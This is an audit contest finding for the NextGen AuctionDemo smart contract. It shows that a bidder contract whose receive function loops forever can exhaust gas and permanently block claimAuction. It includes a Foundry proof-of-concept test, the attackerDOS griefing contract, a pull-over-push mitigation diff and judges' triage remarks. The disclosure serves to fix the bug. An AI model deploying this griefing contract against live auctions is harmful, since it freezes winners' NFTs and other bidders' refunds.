auctionDemo::claimAuction refunds all bidders in one call and can be DOS if one call consumes all available gas

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L110

Vulnerability details

Impact

As explained in the solidity documentation, unlike transfer or send, call forwards all gas. An attacker, can set himself up as a bidder then forces the call to consume all available gas which will permanently DOS the function auctionDemo::claimAuction.

The impact is high, as the winner cannot claim the NFT plus non-winning bidders can lose their funds because they will not be able to get a refund. All the auctions are impacted.

Proof of Concept

The following code line transfers all gas to the subsequent logic.

function auctionDemo::claimAuction :

              else if (auctionInfoData[_tokenid][i].status == true) {
@>              (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
                auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If one call is set up such as the fallback or receive function of the bidder's address consumes all gas, the function claimAuction will permanently revert.

The winner cannot claim the NFT. The other bidders cannot get a refund because the cancel functions assume that minter.getAuctionEndTime(_tokenid) has not yet been passed.

POC

You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testClaimAlwaysReverts -vvvv

    function testClaimAlwaysReverts() public {
        createAndSetCollections();
        vm.deal(auctionBidder, 10 ether);

        attackerDOS attackerBidder = new attackerDOS();
        vm.deal(address(attackerBidder), 10 ether);

        vm.warp(1698138500 + 200);
        hhMinter.mintAndAuction(auction, '{"tdh": "100"}', 3, 2, 1998138500);
        uint256 tokenId = 20000000000; // second collection

        vm.prank(address(attackerBidder));
        hhAuction.participateToAuction{value: 1 ether}(tokenId);

        vm.prank(auctionBidder);
        hhAuction.participateToAuction{value: 2 ether}(tokenId);

        vm.prank(auction);
        IERC721(hhCore).approve(address(hhAuction), 20000000000);

        vm.warp(1998138500);
        // Since this is being done in foundry, the call will never end. In a simulated chain this should revert because Out of gas error.
        vm.prank(auctionBidder);
        hhAuction.claimAuction(tokenId);
    }
contract attackerDOS {
    receive() external payable {
        // Attempt to consume a lot of gas
        while (true) {}
    }
}

Note that the test testClaimAlwaysReverts() never ends if run in foundry directly as unit testing does not consider the gas limit. But in a simulated chain or other web framework (Remix for example), this test should revert as expected because out of gas error.

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• Consider removing the refund part from the auctionDemo::claimAuction function as this creates weaknesses. Instead, allow each user (pull over push pattern) to withdraw his funds back (except for the winner). Also, allow bidders (except winner) to withdraw their funds at any time from the cancel functions.

function auctionDemo::claimAuction:

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
+               auctionInfoData[_tokenid][i].status = false;
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } 
-              else if (auctionInfoData[_tokenid][i].status == true) {
-               (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: 
-               auctionInfoData[_tokenid][i].bid}("");
-               emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
-           } 
           else {}
        }

function auctionDemo::cancelBid:

-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

function auctionDemo::cancelAllBids:

-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory